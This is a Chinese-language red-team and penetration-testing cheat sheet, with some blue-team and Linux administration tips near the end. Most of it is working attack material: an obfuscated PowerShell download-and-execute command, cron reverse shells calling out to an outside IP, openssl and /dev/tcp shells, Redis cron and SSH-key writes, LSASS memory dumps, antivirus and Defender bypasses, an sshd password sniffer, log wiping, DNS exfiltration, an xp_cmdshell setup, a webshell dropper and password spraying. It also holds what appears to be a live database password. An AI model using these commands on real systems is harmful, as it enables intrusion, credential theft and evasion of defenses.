[TOC]

JAR 抓包

java -DproxySet=true -DproxyHost=127.0.0.1 -DproxyPort=8888 -jar 你的jar包

Powershell免杀,案例:

cmd /c echo set-alias -name xz -value IEX;x^z (New-Object
"NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19’+'2.168.190.12'+'8/
a') | p^o^w^e^r^s^h^e^l^l -

简易的Linux键盘记录:

# 添加倒数第二行即可,结果查看/tmp/test

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

苛刻Windows命令执行:

这个方法在内网中比较常用吧,有个命令执行的点,有360一类的杀软,
又不好写shell,可以直接利用comsvcs.dll 的导出函数dump lsass内存,
把结果放到目标web目录下,下载解密即可。

https://twitter.com/PythonResponder/status/1385064506049630211

  • Remote LSASS dump without touching local disk? Yes 😃
  • On target run:
    1. net use x: \smbserver_under_your_control\c$
    1. powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin ful

java任意文件读取,获取源码方式

# 读取文件:

/var/lib/mlocate/mlocate.db 

# 筛选对应war包即可

查找web路径:

方法一 :打开web查看源码,复制一个特征字符串,然后替换进下面命令的htmlString搜索之。

Win :findstr /s/i/n /d:E:\code\xampp\htdocs\ /c:”htmlString” *.*
Linux:find / -name “.” | xargs grep”htmlString”

方法二 :对于linux系统,我们也可以尝试通过history命令去查找,同样的也可以去看.bash_history

history | grep -E ‘cd|vi|ed|nano|et|mkdir|rm|find|ls|mv’ |grep -v grep | grep -E ‘www|html|nginx|apache|php|lighttp|web’ -i

方法三 :windows系统中也可以使用dir去匹配一个特征文件名

dir /s/a-d/b E:\code\xampp\htdocs\*重复度较低的文件名(支持通配符


Linux短期权限维持

(crontab -l;echo '*/60 * * * * rm /tmp/yum.log;mkfifo /tmp/yum.log;cat /tmp/yum.log|/bin/sh -i 2>&1|/usr/bin/nc  -w 3 118.118.118.118 53 >/tmp/yum.log')|crontab -
(crontab -l;echo '*/5 * * * * rm /tmp/yum.log;mkfifo /tmp/yum.log;cat /tmp/yum.log|/bin/sh -i 2>&1|/usr/bin/nc 118.118.118.118 53 >/tmp/yum.log')|crontab -

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/118.118.118.118/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

简单操作

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
python -c 'import pty; pty.spawn("/bin/sh")'
ssh -C -f -N -g -R 3389:10.0.0.1:3389 gg@118.118.118.118

plink.exe -C -N -R 3389:127.0.0.1:3389 gg@118.118.118.118 -pw 123456 -P 443

set 0 "\n\n\n* * * * * bash -i >& /dev/tcp/118.118.118.118/53 0>&1\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
config set dir /var/lib/redis
config set dbfilename dump.rdb

cat foo.txt | redis-cli -h 10.10.10.10 -x set 0
config set dir /root/.ssh
config set dbfilename "authorized_keys"

Windows 文件下绕过360方式:

# 证书下载绕过:

1. 将路径下的certutil.exe ,复制出来,利用复制出的新的进行下载操作,并列执行俩次

copy C:\Windows\System32\certutil.exe sb.exe

sb.exe&&sb.exe -urlcache -split -f http://vpsIP/a.txt && a.exe

2. 修改下载的路径,通过定义变量,拼接变量,来下载文件

3. 通过echo写入一个exe的hex编码,通过certutil.exe转为exe



openssl 反弹 加密webshell

# 生成自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# 服务端启动监听 8888端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888


# Linux 反弹shell:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s


Sqlmap mssql-时间盲注/布尔盲注 写webshell

# Windows 环境:

1. 找一个 特征文件: nb.jsp

2. dir /s /b index_sb.asp # 确定路径

3. for /r "D:" %i in (*.ashx) do echo %i # 第二种确定路径的方式

4. 直接echo

vcenter

1. getshell后通过dump内存,查找登录密码

run procdump64.exe -accepteula -ma vpxd.exe vpxd.dmp

2. 通过`PySharpSphere`dump内部主机Hash,上线

https://github.com/RicterZ/PySharpSphere

3. 通过dump数据库,获取Cookies,伪造登录

https://github.com/horizon3ai/vcenter_saml_login

提取页面中URL:

var urls=$$('a');for(url in urls){console.log("%c#"+url+" - %c"+urls[url].innerHTML +" -- %c"+urls[url].href,"color:red;","color:green;","color:blue;");}

搜索引擎语法:https://blog.csdn.net/weixin_45116657/article/details/102761464

红队

拿下 linux 机器,可以运行下 last 如果是内网机器,可以发现运维管理员的 ip 段,精准定位目标

也可以看下防火墙信息 iptables --list 也会有所收获


翻数据库密码可以注意 history 记录也可以看下 /root/.mysql_history 文件


偶尔跑1、2个脚本安装一下模块还是挺恼人的

如果经常写 python 脚本,可以使用 pipreqs 生成自己的 requirements.txt 文件,这样方便在更换主机的时候快速部署好运行环境


浏览器内打开 cmd

ms-settings:clipboard?activationSource=

火狐

telnet:///
irc:///
ircs:///
mailto:///
webcal:///

有 wsdl/soap 不知道怎么测?除了老版本awvs以外可以使用 soapui 直接抓取目标接口,也可用 burp 插件 Wsdler


避免记录登录日志的小技巧

ssh -T user@host /bin/bash -i

-T 代表不要分配 tty,-i 代表要一个交互型的 bash

来自文章 : Linux 系统日志小结


如何关闭 http://burp 防止蜜罐探测

  • Proxy - Options - Miscellaneous - Disable web interface at http://burp

检测暗链的小技巧,使用爬虫的 user-agent 遍历访问目标,对比 title 和内容

  • https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/http/Spider.txt

DNS收集的优先级 被动+爬取+过滤 > 主动扫描+爆破

  • 可以使用这种思路 rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤

对于未知的webshell,可以尝试爆破路径、密码

  • webshell路径字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Webshell/Fuzz_dir.txt
  • webshell密码字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Webshell/Fuzz_webshell_pass.txt

也加一些参数,尝试报错,看会不会有密码


nc 用的不爽可以尝试换个 reverse-shell 工具,推荐个 https://github.com/nodauf/Girsh ,go写的,可以自动检测OS并执行正确的命令,将其升级为一个完整的交互式反向shell。


从反编译的 apk 文件中提取相关域名链接/IP

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

通过正则从 apk 中提取一些敏感信息

apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/

如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址

  • http 头字段字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/http/Fuzz_head.txt

或者直接修改 host 头

curl -v -H "Host: localhost" https://target/
wget -d --header="Host: localhost" https://target/

有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容

pip3 install remotezip
remotezip -l "http://site/bigfile.zip"          # 列出远程zip文件的内容
remotezip "http://site/bigfile.zip" "file.txt"  # 从远程zip⽂件解压出file.txt

URL跳转漏洞字典: https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt


burp 在忽略目标的时候是配置 Intercept Client Requests , 但是这个选项不支持批量导入, 只能一条一套的添加, 非常反人类, 所以 windows 下可以通过 Proxifier 配置 Rules 做到忽略指定的 host

附赠一个 Target hosts 列表

  • https://github.com/ffffffff0x/AboutSecurity/blob/master/Payload/Burp/Proxifier_filter.txt

npm 和 github 加速可以使用 jsdelivr 的 cdn 进行加速,但 jsdelivr 不支持 release 的发布文件下载,可以采用 cf worker 部署的代理服务进行加速


在 linux 中不知道当前用户可用什么命令,可以使用下面的命令,这条命令可以列出所有可用的命令(有点拗口)

compgen -c

火绒拦截扫描,如何关闭拦截?

  • 火绒>网络防护>基础防护中关闭

druid 未授权访问常见路径

  • /druid/websession.html
  • /system/druid/websession.html
  • /webpage/system/druid/websession.html

爆破目标用户名时应考虑如下可能:

  • 撞库
  • 常见手机号
  • 常见登录账号(admin、manager、test、deme)
  • 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
  • 拼音(zhangsan、zhang.san、zhangs)
  • 中文(张三、李四、张san)
  • 英文名(Tom、Jeo、Cherry)
  • 单位名(zssx123、zssx@123)
  • 地名(beijing123、beijing@123)
  • 组合(地名+单位名)
  • 域名(baidu@123、JD@123)
  • 生日组合

整理字典时,推荐用linux下的工具快速合并和去重

cat file1.txt file2.txt fileN.txt > out.txtsort out.txt | uniq > out2.txt

信息收集小技巧,仔细观察目标页面的js路径,多找几个js目录,专门用js字典进行爆破,获取的js脚本列表,再调用工具去匹配路径和凭证。


有时一些上传点没有过滤,但你访问文件是通过函数调用获取文件,这个时候可以先测下任意文件读,然后尝试get改为post在测试任意文件读,如果存在,尝试通过任意文件读找路径


打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。


我们在后渗透过程中经常要传 payload 到目标,临时起的文件服务器都是 python 一条命令的事

  • Python 2.x

    python -m SimpleHTTPServer 8000# 在当前目录起个 8000 端口的 HTTP 服务
    
  • Python 3.x

    python -m http.server 8000 --bind 0.0.0.0
    
  • 推荐一个可以加密码的,一条命令python服务器模块

    pip3 install updogupdog --port 8888 --password test1234
    

一般来说,某些场景多个服务是协同的关系,比如就这个 LiveCMS 服务一定和下面的监控设备有连接,不然日志不会这么大,可以搞一搞下级监控,也可以专门搞一搞这个 LiveCMS 和 LiveSMS、LiveGBS 试试
LiveCMS 端口使用

  • TCP 端口 : 5060(SIP), 10000(HTTP), 26379(Redis)
  • UDP 端口 : 5060(SIP)

LiveSMS : SIP 流媒体服务, 根据需要可部署多套

  • TCP 端口 : 5070(SIP), 10001(HTTP), 11935(RTMP Live), 30000-40000(RTP over TCP)
  • UDP 端口 : 5070(SIP), 50000-60000(RTP/RTCP over UDP)

有时候我们拿了一台 docker 机器,发现没有 ifconfig 命令也没有 ip 命令,不清楚怎么看 IP,这时候可以通过查看 proc 文件的方式来查看

cat /proc/net/fib_triecat /etc/sysconfig/network

渗透时遇到某些上传点未作过滤,但负载均衡做了过滤后缀名的情况,可以上传 webshell 命名为 index.php,然后访问 xxx.com/xxx/upload, 尝试 bypass 反代的策略


当渗透时遇到了 403 或者 302、401 的拒绝访问,不要怕,多 FUZZ 几次

  • 从 HTTP Header 层面 bypass

    GET /admin HTTP/1.1Host: web.com   # ===> 403GET /anything HTTP/1.1Host: web.comX-Original-URL: /admin  # ===> 200GET /anything HTTP/1.1Host: web.comReferer: https://web.com/admin  # ===> 200GET https://qq.com HTTP/1.1Host: web.com   # ===> SSRF
    
  • 从 URL 参数层面 bypass

    /admin/panel    # ===> 403/admin/monitor  # ===> 200/admin/monitor/;panel   # ===> 302
    
    web.com/admin   # ===> 403web.com/ADMIN       # ===> 200web.com/admin/      # ===> 200web.com/admin/.     # ===> 200web.com//admin//    # ===> 200web.com/./admin/./  # ===> 200web.com/./admin/..  # ===> 200web.com/%2f/admin/  # ===> 200web.com/admin.json  # ===> 200(ruby)web.com/%2e/admin   # ===> 200web.com/%252e/admin # ===> 200web.com/%ef%bc%8fadmin  # ===> 200web.com/admin       # ===> 302web.com/admin..;/   # ===> 200
    
  • 从协议层面 bypass

    http://web.com/admin    # ===> 403https://web.com/admin   # ===> 200
    

当我们拿下 windows 机器时可以通过抓内存中的密码进行横向,但 linux 却不可能抓到内存中的密码,但是 Debian 系列下的 linux 系统可以通过监听 sshd 进程的数据抓取出明文密码,比如你拿下了一台管理员机器,上面有 xshell,你可以手动开一个监听,在开一个登录,监听的窗口上就抓出密码了

strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write\(\d, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'

当然你也可以直接用工具抓 xshell 存的密码

  • Arvanaghi/SessionGopher - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本
  • uknowsec/SharpDecryptPwd - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。

渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的

  • linux 下要查看自己终端是否走代理可以 curl https://ifconfig.me/ 看下返回的 IP 地址
  • windows 就直接访问 https://ifconfig.me/ 即可

linux 下代理不用多说, proxychains-ng,windows 下推荐用 Proxifier


MSF 和 CS 中 Stage 与 Stageless 的区别

  • Stage : 先传一个 shellcode,然后回连端口,加载恶意 metsrv,然后再请求 stdapi 于 priv,进行上线
  • Stageless : 将 shellcode、metsrv、stdapi、priv 打包,一次性传完
  • 如果想让 msf 直接回弹到 NC,那么必须要用 stageless

判断目标主机是不是虚拟机、容器

  • windows

    • cmd : systeminfo
    • Powershell : get-wmiobject win32_computersystem | fl model
  • linux

    lshw -class system | grep -i VM & grep -i virtualdmesg | grep -i VM & grep -i virtualdmidecode -s system-product-namels /tmpsystemd-detect-virtvirt-whatls -alh /.dockerenvcat /proc/1/cgroup
    

msf 框架其实有许多 UI 界面的工具, 可以帮助不习惯命令行的渗透测试人员进行渗透,我举几个例子

  • https://github.com/FunnyWolf/Viper
  • https://github.com/WayzDev/Kage

在进行云主机后渗透时,如果触发敏感操作,会有短信提醒到管理员手机上,这个时候可以酌情考虑卸载云主机的监控 (有时你用云主机装 SSR 会无法连接也是这个原因)


rlwrap 工具,可以完美解决各类 shell 中无法上下左右的问题

例如 ,回弹了 shell,手贱按了上,这种情况(我想你一定遇到过🤣🤣🤣🤣)

  • 安装:

    apt install rlwrap
    
  • 使用:

    rlwrap [Command]
    

cAdvisor 是 Google 出品的用于监控 Docker 容器的服务,渗透时遇到这个服务基本上是存在容器环境


新版 kali 2020 版后使用 root 账号默认不给密码,如果你想,可以直接进行修改 : sudo passwd root


nc 具有多个版本, 比如: traditional、openbsd、ncat

  • traditional 最老的版本,支持最基本的功能

  • openbsd 安全版本,回弹要用一大段命令

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
    
  • ncat 新版本, 重构了旧版的代码并支持了许多新功能, debian 系列发行版下通过以下命令进行安装配置

    apt install -y ncatupdate-alternatives --set nc /usr/bin/ncat
    

程序溢出,int 最大值为 2147483647,可尝试使用该值进行整数溢出,观察现象。

来自项目 : Power7089/PenetrationTest-Tips


图片验证码可设置为空,如:code=undefined

来自项目 : Power7089/PenetrationTest-Tips

也可以使用字典进行 fuzz

  • https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_imagesize.txt

任意文件下载:/porc/self/cmdline -- 当前进程的 cmdline 参数,/var/lib/mlocate/mlocate.db -- 全文件路径。

来自项目 : Power7089/PenetrationTest-Tips


  • 138888888889 12 位经过短信网关取前 11 位,导致短信轰炸
  • 短信轰炸绕过:手机号前加 + 86 有可能会绕过,手机号输入邮箱,邮箱处输入手机号
  • 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
  • 手机号前加若干 + 会造成短信轰炸
  • 获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码

来自项目 : Power7089/PenetrationTest-Tips


蓝队

流量分析除了 wireshark 用科来的工具进行分析也是个不错的选择,有时候做 ctf 的分析题,直接用科来工具打开就可以发现异常包,还是挺有帮助的


CobaltStrike 的 Fofa 语法

cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F"

红队常用的扫描器特征

  • https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/http/RedTeam.txt

"Beacon.dll"、"beacon.x64.dll" 和 "ReflectiveLoader" 默认是 CS Beacon 的硬编码特征。当寻找内存中的后门时,可以利用这一点


Linux

当运行一个程序发现缺少库时,可以使用 apt-file 进行搜索,然后安装对应的软件包

apt install apt-fileapt-file updateapt-file search <xxx>apt install <xxx>

来自项目 : firmianay/Tips-for-Geek


用于文本处理的几个工具

  • tr : 多功能处理
  • https://github.com/tomnomnom/anew : 自动去重
  • jq : json 格式化
  • expand/unexpand : 空格和 TAB 转换

命令行下截图的一种不错的方式

  • asciinema

神器级工具,Linux 下的 everything

  • https://github.com/junegunn/fzf

推荐一个 linux 小工具 trash-cli 用于移动文件到回收站,同时会记录文件的原地址、删除日期和权限。trash-cli 和 KDE、GNOME、XFCE 使用同一个回收站,你可以在命令行或脚本运行 trash-cli。一定程度上可以代替 rm

  • 地址:https://github.com/andreafrancia/trash-cli/blob/master/README_zh-CN.rst

一个探针工具,可用于实时监测服务器运行状况

  • 地址:https://github.com/naiba/nezha

linux 使用过程中经常出现安装软件包失败的问题,很多情况是遇到了锁,可以直接删除(运维兄弟们,生产环境下不要用啊🤣🤣🤣)

  • debian系
    报错:无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用)

    rm -rf /var/cache/apt/archives/lockrm -rf /var/lib/dpkg/lock-frontendrm -rf /var/lib/dpkg/lockrm /var/lib/dpkg/lockrm /var/lib/apt/lists/lock
    
  • redhat系
    报错:/var/run/yum.pid 已被锁定,PID 为 xxxx 的另一个程序正在运行.

    rm -f /var/run/yum.pid 2> /dev/null
    
  • 特立独行的 Fedora
    报错:Waiting for process with pid to finish.

    rm -f /var/cache/dnf/metadata_lock.pid 2> /dev/null
    

在 linux 中安装一些组件的依赖时会有比如 python-dev 和 python-devel 的区别,devel 或 dev 包主要是供开发用,这代表不同的发行版本,redhat 系是 devel ,debian 系是 dev


修改 Linux 的 DNS 一直是一个问题,每次开机 dns 都会重置,debian 下可以使用 dns 管理工具一劳永逸的解决

  • 安装

    apt-get install -y resolvconf
    
  • 配置

    echo "nameserver 223.5.5.5" > /etc/resolvconf/resolv.conf.d/head
    
  • 更新

    resolvconf -u
    
  • 若需要更改 DNS,请修改 /etc/resolvconf/resolv.conf.d/head 文件


如果在 red hat 系发行版中需要装开发工具,建议安装 Development Tools ,可以将常用软件,一次性装好

  • 安装

    yum groupinstall -y "Development Tools"
    

分享几个linux性能调优的技巧

sync    # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延的块 I/O 和写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件.echo 1 > /proc/sys/vm/drop_caches   # 清理 pagecache(页面缓存)echo 2 > /proc/sys/vm/drop_caches   # 清理 dentries(目录缓存)和inodesecho 3 > /proc/sys/vm/drop_caches   # 清理 pagecache、dentries 和 inodessync# 取消开启文件数限制ulimit -n 65535# 优化内存echo 128 > /proc/sys/vm/nr_hugepages        # 默认为0sysctl -w vm.nr_hugepages=128

最近在 linux 搭建 vpn 服务的时候遇到时间和时区不同步的情况,分享下解决方案

查看当前时区

timedatectl

修改当前时区:

timedatectl set-timezone Asia/Shanghai# 或cp  /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime

由于 python 官方停止了对 python2 的维护,以后大部分和 pip2 有关的操作都会报下面这个错,我预估一下,这个应该是以后我们遇到最常见的问题之一, 解决方案很简单, 安装指定版本的 pip2 即可

curl https://bootstrap.pypa.io/2.7/get-pip.py --output get-pip.pypython get-pip.py

Python 2 在 Ubuntu 20 上不存在,但是有时候还是需要的。可以通过以下命令安装

apt-get install python-is-python2


CVE-2020-14386: Linux kernel权限提升漏洞 :

内核提权漏洞,poc:https://www.openwall.com/lists/oss-security/2020/09/03/3


php imap命令执行:imap_open调用rsh连接远程,但是debain默认使用ssh,ssh存在-o雕鹰系统命令,因此存在命令注入。


**各种waf:**https://mp.weixin.qq.com/s/PWkqNsygi-c_S7tW1y_Hxw


excel导入打xxe

https://xz.aliyun.com/t/3741


启动apache

/etc/init.d/apache2 start

ssh软连接

https://www.jozxing.cc/archives/1653


apache shiro

https://www.cnblogs.com/nul1/p/12827021.html


提权合集

https://mp.weixin.qq.com/s/gijFjloNrEshsSaiMHr8oQ


jwt

https://xz.aliyun.com/t/6776#toc-10


winrm 执行命令、端口复用

https://blog.csdn.net/k8gege/article/details/106442655


红队工具

https://github.com/root-tools/redtool


pth+rdp

https://www.dazhuanlan.com/2020/01/18/5e22c1493adef/

privilege::debug
sekurlsa::pth /user:administrator /domain:. /ntlm:xxxxxxxxxxxxxxxxxxxxxx "/run:mstsc.exe /restrictedadmin"
Copy
条件:
Server需要开启Restricted Admin mode
Windows 7 和 Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
Copy

开启Restricted Admin mode:

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
Copy

设备默认口令

http://www.srxh1314.com/mrkl.html


ue上传

https://zhuanlan.zhihu.com/p/42888106


**
无回显外带**

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.b9530dbeff7692920356.d.zhack.ca && nslookup !FINAL!"

或

for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.bm21t3.dnslog.cn
Copy

pth + rdp

sekurlsa::pth /user:administrator /domain:. /ntlm:xxxxxxxxxxxxxxxxxxxxxx "/run:mstsc.exe /restrictedadmin"
Copy

清除日志

img

linux提权:

https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651102317&idx=1&sn=0b0a840bd30896eb28b02ac117700bad&chksm=bd1f0ee68a6887f00b1bfbf8996d516abfed498e264561e4d022de359beacb96efe10c000733&scene=132#wechat_redirect


mssql cmd

-- 判断用户
and 1=(select IS_SRVROLEMEMBER('public') )--
and 1=(select IS_SRVROLEMEMBER('sysadmin') )--
and 1=(select IS_SRVROLEMEMBER('db_owner') )--

-- 开启xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

EXEC master..xp_cmdshell '123.zpu2he.dnslog.cn'

-- RECONFIGURE报错的话就用
reconfigure with override
Copy

mysqldump

mysqldump --defaults-extra-file=/tmp/11.cnf --databases jiebei_com >/home/www/jb.com/runtime/log/202010/jiebei_com.sql
Copy
[client]
port = 3306
socket = /tmp/mysql.sock
default-character-set = utf8mb4
host = 127.0.0.1
user = 'jiebei_com'
password = 'k7SHT62npa3j8RrS'
Copy

SimplyEmail

./SimplyEmail.py -all -v -e 
Copy

xray扫描

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output zyhy3.htmlpython3 lancher.pyCopy

易受攻击点

https://mp.weixin.qq.com/s/6I-Yp0A69rLr3RfruIAkhA


cisco asa任意文件读取

https://github.com/cygenta/CVE-2020-3452/blob/main/CVE-2020-3452.py


Exchange CVE-2020-17144

poc: https://srcincite.io/pocs/cve-2020-17141.py.txt

CVE-2020-16875

poc: https://srcincite.io/pocs/cve-2020-16875.py.txt


citrix xenmobile任意文件读取

/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwdCopy

vmware文件读取:

https://twitter.com/ptswarm/status/1316016337550938122


内网不出网

https://mp.weixin.qq.com/s/IeH06p7pkQ3lmOehGLUWLg

dnscat


mysql 8.0新特性

  • table:

    TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]Copy
    
img
  • value:

    select * from users where id = 1 union values row(1,2,3)Copy
    

当php system没有调用cmd权限

通过建立新的com对象调用其他的cmd.exe

<?php$command=$_POST[a];$wsh = new COM('WScript.shell');   // 生成一个COM对象$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput?>Copy

xss payload

<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>%0APayloadCopy

通过certutil进行编码解码文件bypass杀软

# 编码Certutil -encode d:\artifact.exe d:\artifact.txt# 写入echo sfAFASFAsfasgasdf………>>d:\1.txt# 解码Certutil -decode d:\art.txt d:\art.exeCopy

关闭defender

C:\PROGRA~1\WINDOW~1>MpCmdRun.exe -RemoveDefinitions -allMpCmdRun.exe -RemoveDefinitions -allService Version: 4.18.1812.3Engine Version: 1.1.17600.5AntiSpyware Signature Version: 1.327.2026.0AntiVirus Signature Version: 1.327.2026.0NRI Engine Version: 1.1.17600.5NRI Signature Version: 1.327.2026.0Starting engine and signature rollback to none...Done!Copy

站库分离操作内容

  • mysql
  select @@hostname;                                 //服务端主机名称select * from information_schema.PROCESSLIST;      //客户端主机名称和端口select load_file('C:/Windows/System32/drivers/etc/hosts');   //读取文件/etc/hosts/etc/apache2/apache2.conf/etc/httpd/conf/httpd.conf/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称/etc/network/interfaces                            //DHCP或静态IP/var/lib/dhclient/dhclient--网卡.lease             //DHCP/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IPC:/Windows/System32/drivers/etc/hostsC:/Windows/system32/inetsrv/MetaBase.xmlC:/Windows/System32/inetsrv/config/applicationHost.configC:/phpStudy/Apache/conf/httpd.confC:/phpStudy/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/Apache/conf/httpd.confC:/phpStudy/PHPTutorial/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/nginx/conf/nginx.confC:/phpStudy/PHPTutorial/nginx/conf/vhosts.confCopy
  • mssql

    select host_name();                       //客户端主机名称select @@servername;                      //服务端主机名称select serverproperty('MachineName');     //服务端主机名称select name from master.sys.sysdatabases;    //查看连接到数据库的机器名select * from master.sys.sysprocesses where dbid= db_id('sqlinject');Copy
    
  • 模拟令牌

    只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌。# msfmeterpreter > use IncognitoCopy
    

ashx webshell

  • 会自己生成一个aspx webshell
<%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler {     public void ProcessRequest (HttpContext context) {         context.Response.ContentType = "text/plain";         string show="<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"chopper\"],\"unsafe\");%>";         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));         file1.Write(show);         file1.Flush();         file1.Close();     }     public bool IsReusable {         get {             return false;         }     } }Copy

ssh 反向端口转发

ssh -R 0.0.0.0:rport:localhost:lport root@x.x.x.xCopy

禁用theme主题

<%@ Page Language="Jscript" EnableTheming = "False" StylesheetTheme="" Theme="" %>Copy

ue不出网利用

  • 上传本地

    POST /ueditor/net/controller.ashx?action=uploadimage HTTP/1.1Host: pmp.csc.com.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------19350128512434Content-Length: 199-----------------------------19350128512434Content-Disposition: form-data; name="upfile"; filename="delicious.png"Content-Type: image/png123-----------------------------19350128512434--Copy
    
  • 抓取本地图片写入webshell

    POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1Host: pmp.csc.com.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 99source%5B%5D=http://127.0.0.1/App_Upload/ueditor/image/20210116/6374641084286323059465749.png?.htmlCopy
    
    • 如果不成就换几个端口试试

常见web系统弱口令

http://uuzdaisuki.com/2020/11/09/%E5%B8%B8%E8%A7%81web%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%E5%8F%A3%E4%BB%A4%E6%80%BB%E7%BB%93/


域外枚举以及爆破

https://github.com/3gstudent/pyKerbrute

  • EnumADUser.py

    python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
    Copy
    
    Image

    Image

  • ADPwdSpray.py

    python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt clearpassword QWE123!@# tcp
    Copy
    
    Image

    Image

    python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp
    Copy
    
    Image

    Image